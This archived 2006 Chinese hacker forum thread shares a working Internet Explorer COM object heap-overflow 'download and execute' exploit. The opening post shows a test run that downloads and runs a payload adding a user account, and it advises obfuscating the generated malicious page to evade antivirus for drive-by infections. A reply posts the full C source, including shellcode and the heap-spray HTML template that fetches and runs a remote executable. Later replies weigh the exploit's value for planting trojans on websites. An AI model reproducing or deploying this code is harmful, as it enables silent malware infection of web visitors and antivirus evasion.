邪恶八进制信息安全团队技术讨论组's Archiver

风尘浪子 2006-9-17 21:07

[原创]06014之后的又一匹烈马(IE COM Object Remote Heap Overflow)

文章作者:风尘浪子
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])


06014之后的一匹烈马---Internet Explorer COM Object Remote Heap Overflow Download Exec Exploit


  06014出来之后,网络上掀起挂马狂潮,象我这样天天在网上混的人,如果不打补丁,一天至少中马10此。今天星期天,不用上班了,时间真难得啊!到网上转转,突然在一exploit发布网站上发现了
Internet Explorer COM Object Heap Overflow Download Exec Exploit
* !!! 0day !!!  Public Version !!!

实用系统:

[glow=255,red,2]Windows 2000 Server SP4 CN
+ Internet Explorer 6.0 SP1
Windows XP SP2 CN
+ Internet Explorer 6.0 SP1 (You need some goodluck! :-)[/glow]

还挺爽吧,赶紧编译源代码(见附件rar),运行测试。
以下是测试过程:
[b](注:我的[url]http://127.0.0.1/fy.exe[/url] 是把net user fy /add 保存为bat,再做成自解压fy.exe,注,我的系统是xp2,前天打的补丁。测试结果是fy.exe可以运行,但是不太稳定,耗内存,而且运行一次之后会出现如下图所示内存不能为read错误,不知道是不是我机器原因。生成的网马大家自己做免杀,00h混淆对付文件查杀,拆分关键字对付内存查杀。相信这个马有很大的利用价值!hoho!)[/b]


以下是测试结果:

[code]
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

C:\Documents and Settings\new>net user

\\HACK 的用户帐户

-------------------------------------------------------------------------------
Administrator        ASPNET             flyaway
fy                Guest              HelpAssistant
new               SUPPORT_388945a0
命令成功完成。


C:\Documents and Settings\new>net user fy /del
命令成功完成。


C:\Documents and Settings\new>net user

\\HACK 的用户帐户

-------------------------------------------------------------------------------
Administrator        ASPNET             flyaway
Guest              HelpAssistant        new
SUPPORT_388945a0
命令成功完成。


C:\Documents and Settings\new>14
'14' 不是内部或外部命令,也不是可运行的程序
或批处理文件。

C:\Documents and Settings\new>fy
Internet Explorer COM Object Remote Heap Overflow Download Exec Exploit
Code by nop nop#xsec.org, 编译 by 风尘浪子[E.S.T] QQ:156544632
!!! MY Blog: [url]http://www.itchina8.com/flyaway[/url]

Usage: fy <URL> [url]http://www.itchina8.com/flyaway/mm.exe[/url]


C:\Documents and Settings\new>fy [url]http://127.0.0.1/fy.exe[/url]
[+] download url:[url]http://127.0.0.1/fy.exe[/url]
[+] exploit file:flyaway.htm
"%ua3e9%u0000%u5f00%ua164%u0030%u0000%u408b%u8b0c"
"%u1c70%u8bad%u0868%uf78b%u046a%ue859%u0043%u0000"
"%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u9516"
"%u2ee8%u0000%u8300%u20ec%udc8b%u206a%uff53%u0456"
"%u04c7%u5c03%u2e61%uc765%u0344%u7804%u0065%u3300"
"%u50c0%u5350%u5057%u56ff%u8b10%u50dc%uff53%u0856"
"%u56ff%u510c%u8b56%u3c75%u748b%u782e%uf503%u8b56"
"%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be"
"%ud63a%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775"
"%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd"
"%u8b04%uc503%u5eab%uc359%u58e8%uffff%u8eff%u0e4e"
"%uc1ec%ue579%u98b8%u8afe%uef0e%ue0ce%u3660%u2f1a"
"%u6870%u7474%u3a70%u2f2f%u3231%u2e37%u2e30%u2e30"
"%u2f31%u7966%u652e%u6578%u0000";
[+] exploit write to flyaway.htm success!

C:\Documents and Settings\new>net user               //运行之后

\\HACK 的用户帐户

-------------------------------------------------------------------------------
Administrator        ASPNET             flyaway
fy                Guest              HelpAssistant
new               SUPPORT_388945a0
命令成功完成。


C:\Documents and Settings\new>
[/code]


看到了吧,还有效果吧。欢迎大家讨论并做深入研究!闪!
[attach]4840[/attach]

zhuwg 2006-9-17 23:00

代码如下,大家来优化下,去掉异常
争取超过06014

[code]
/*
*-----------------------------------------------------------------------
*
* daxctle2.c - Internet Explorer COM Object Heap Overflow Download Exec Exploit
* !!! 0day !!!  Public Version !!!
*
* Copyright (C) 2006 XSec All Rights Reserved.
*
* Author  : nop
*       : nop#xsec.org
*       : [url]http://www.xsec.org[/url]
*       :
* Tested  : Windows 2000 Server SP4 CN
*       :    + Internet Explorer 6.0 SP1
*       : Windows XP SP2 CN
*       :    + Internet Explorer 6.0 SP1 (You need some goodluck! :-)
*       :
* Complie  : cl daxctle2.c
*       :
* Usage     :d:\>daxctle2
*       :
*       :Usage: daxctle <URL> [htmlfile]
*       :
*       :d:\>daxctle2 [url]http://xsec.org/xxx.exe[/url] xxx.htm
*       :
*      
*------------------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>

FILE *fp = NULL;
char *file = "xsec.htm";
char *url = NULL;

// Download Exec Shellcode by nop
unsigned char sc[] =   
"\xe9\xa3\x00\x00\x00\x5f\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b"
"\x70\x1c\xad\x8b\x68\x08\x8b\xf7\x6a\x04\x59\xe8\x43\x00\x00\x00"
"\xe2\xf9\x68\x6f\x6e\x00\x00\x68\x75\x72\x6c\x6d\x54\xff\x16\x95"
"\xe8\x2e\x00\x00\x00\x83\xec\x20\x8b\xdc\x6a\x20\x53\xff\x56\x04"
"\xc7\x04\x03\x5c\x61\x2e\x65\xc7\x44\x03\x04\x78\x65\x00\x00\x33"
"\xc0\x50\x50\x53\x57\x50\xff\x56\x10\x8b\xdc\x50\x53\xff\x56\x08"
"\xff\x56\x0c\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56\x8b"
"\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe\x10"
"\x3a\xd6\x74\x08\xc1\xcb\x0d\x03\xda\x40\xeb\xf1\x3b\x1f\x75\xe7"
"\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd\x8b"
"\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x58\xff\xff\xff\x8e\x4e\x0e"
"\xec\xc1\x79\xe5\xb8\x98\xfe\x8a\x0e\xef\xce\xe0\x60\x36\x1a\x2f"
"\x70";   

char * header =
"<html>\n"
"<head>\n"
"<title>XSec.org</title>\n"
"</head>\n"
"<body>\n"
"<script>\n"
"shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u4343\" + \n";

// Change this script by yourself.
char * footer =
"bigbk = unescape(\"%u0D0D%u0D0D\");\n"
"headersize = 20;\n"
"slackspace = headersize + shellcode.length\n"
"while (bigbk.length < slackspace) bigbk += bigbk;\n"
"fillbk = bigbk.substring(0, slackspace);\n"
"bk = bigbk.substring(0, bigbk.length-slackspace);\n"
// bk = nop+nop;-)
"while(bk.length+slackspace < 0x40000) bk = bk + bk + fillbk;\n"  
"memory = new Array();\n"
"for (i=0;i<800;i++) memory[i] = bk + shellcode;\n"
"var target = new ActiveXObject(\"DirectAnimation.PathControl\");\n"
"target.KeyFrame(0x7fffffff, new Array(1), new Array(65535));\n"
"</script>\n"
"</body>\n"
"</html>\n";

// print unicode shellcode
void PrintUc(char *lpBuff, int buffsize)
{
  int i,j;
  char *p;
  char msg[4];

  for(i=0;i<buffsize;i+=2)
     {
     if((i%16)==0)
     {
        if(i!=0)
        {
          printf("\"\n\"");
          fprintf(fp, "%s", "\" +\n\"");
        }
        else
        {
          printf("\"");
          fprintf(fp, "%s", "\"");
        }
     }
        
     printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
     
     fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
    }
   

     printf("\";\n");
     fprintf(fp, "%s", "\");\n");      
  
  
  fflush(fp);
}

void main(int argc, char **argv)
{
  unsigned char buf[1024] = {0};

  int sc_len = 0;


      if (argc < 2)
  {
      printf("Internet Explorer COM Object Remote Heap Overflow Download Exec Exploit\n");
      printf("Code by nop nop#xsec.org, Welcome to [url]http://www.xsec.org[/url]\n");
      //printf("!!! 0Day !!! Please Keep Private!!!\n");
     printf("\r\nUsage: %s <URL> [htmlfile]\r\n\n", argv[0]);
     exit(1);
  }
  
  url = argv[1];
  
  //if( (!strstr(url, "http://") &&  !strstr(url, "ftp://")) || strlen(url) < 10 || strlen(url) > 60)
      if( (!strstr(url, "http://") &&  !strstr(url, "ftp://")) || strlen(url) < 10)
      {
        //printf("[-] Invalid url. Must start with &#39;http://&#39;,&#39;ftp://&#39; and < 60 bytes.\n");
        printf("[-] Invalid url. Must start with &#39;http://&#39;,&#39;ftp://&#39;\n");
        return;           
      }

    printf("[+] download url:%s\n", url);
   
    if(argc >=3) file = argv[2];
    printf("[+] exploit file:%s\n", file);
     
  fp = fopen(file, "w");
  if(!fp)
  {
     printf("[-] Open file error!\n");
       return;
  }   
  
  // print html header
  fprintf(fp, "%s", header);
  fflush(fp);
  
  // print shellcode
  memset(buf, 0, sizeof(buf));
  sc_len = sizeof(sc)-1;
  memcpy(buf, sc, sc_len);
  memcpy(buf+sc_len, url, strlen(url));
  
  sc_len += strlen(url)+1;
  PrintUc(buf, sc_len);

  // print html footer
  fprintf(fp, "%s", footer);
  fflush(fp);  
  
  printf("[+] exploit write to %s success!\n", file);
}

[/code]

sgl 2006-9-17 23:15

倒,lion好象没放出来吧,不知楼主是在哪弄的:)

守护天使 2006-9-17 23:23

呵呵,早就拿到了,测试了没成功,winxp sp2的机器,而且爆卡,不是挂马的理想选择,个人认为还是06014实用。

cnhcerkf 2006-9-17 23:34

偶是13号看到的,测试了下本机,还有虚拟机(2003)IE 卡死,内存出错,关闭。。OVER。放弃。

sunwear 2006-9-18 00:26

[quote][b]这里是引用第[/b][color=#ff0000][2 楼][/color][b]的[color=#000066]sgl[/color]于[/b]2006-09-17 23:15[b]发表的:[/b]
倒,lion好象没放出来吧,不知楼主是在哪弄的:)[/quote]
没看到是FATB的那个站发布的么
就是那个摸板跟cnhonker差不多的站。
前两天在安全焦点fatb就发过了

杀虫剂 2006-9-18 00:33

一个字卡。停了5-6分钟不得已关掉了。配置差的千万别试。 [s:88]

sgl 2006-9-18 08:32

[quote][b]这里是引用第[/b][color=#ff0000][5 楼][/color][b]的[color=#000066]sunwear[/color]于[/b]2006-09-18 00:26[b]发表的:[/b]

没看到是FATB的那个站发布的么
就是那个摸板跟cnhonker差不多的站。
前两天在安全焦点fatb就发过了[/quote]

[url]http://www.cnhonker.com/[/url]

红客继续开放了.

fhod 2006-9-18 09:44

[url]http://www.milw0rm.com/exploits/2358[/url]

这里有
估计多半是出自这里

kon-bluesky 2006-9-18 11:20

这个不是一般的卡.前几天有朋友发了一份过来.测试了一下.汗.恨不得把机器扔了.

把IE卡死为止.要是挂马的话.我看是要死人的.

少主也闭关 2006-9-18 20:05

是lion写的,挂马也试验过了...不过,绿鹰PC万能精灵对它可是杀的..
刚开始测试的时候其他杀毒是可以过的...

cnhcerkf 2006-9-18 22:27

[quote][b]这里是引用第[/b][color=#ff0000][7 楼][/color][b]的[color=#000066]sgl[/color]于[/b]2006-09-18 08:32[b]发表的:[/b]


[url]http://www.cnhonker.com/[/url]

红客继续开放了.[/quote]


不过net变成了com,难道lion又心血来潮了。xsec汗了。我的上帝,伟大的LION难道乔丹般的复出了?偶去问问。
放上来个编译的。。。楼主咋那么大的。。(这个偶没敢测试,怕再卡死。)

少主也闭关 2006-9-18 22:42

[quote][b]这里是引用第[/b][color=#ff0000][13 楼][/color][b]的[color=#000066]cnhcerkf[/color]于[/b]2006-09-18 22:27[b]发表的:[/b]



不过net变成了com,难道lion又心血来潮了。xsec汗了。我的上帝,伟大的LION难道乔丹般的复出了?偶去问问。
放上来个编译的。。。楼主咋那么大的。。(这个偶没敢测试,怕再卡死。)[/quote]
你Y的什么时候编译的..我先下过来看下..笔记本用估计也卡的要死了...拜托有东西留份撒..

寂寞宝贝 2006-9-18 23:11

C写的东东..........我拷回去,问下我导师!有没有什么能把他优化的方法!

sunwear 2006-9-19 01:48

[quote][b]这里是引用第[/b][color=#ff0000][16 楼][/color][b]的[color=#000066]寂寞宝贝[/color]于[/b]2006-09-18 23:11[b]发表的:[/b]
C写的东东..........我拷回去,问下我导师!有没有什么能把他优化的方法![/quote]
没测试过
但我想这个是漏洞的原因  优化不优化没有什么区别

页: [1]
© 1999-2008 EvilOctal Security Team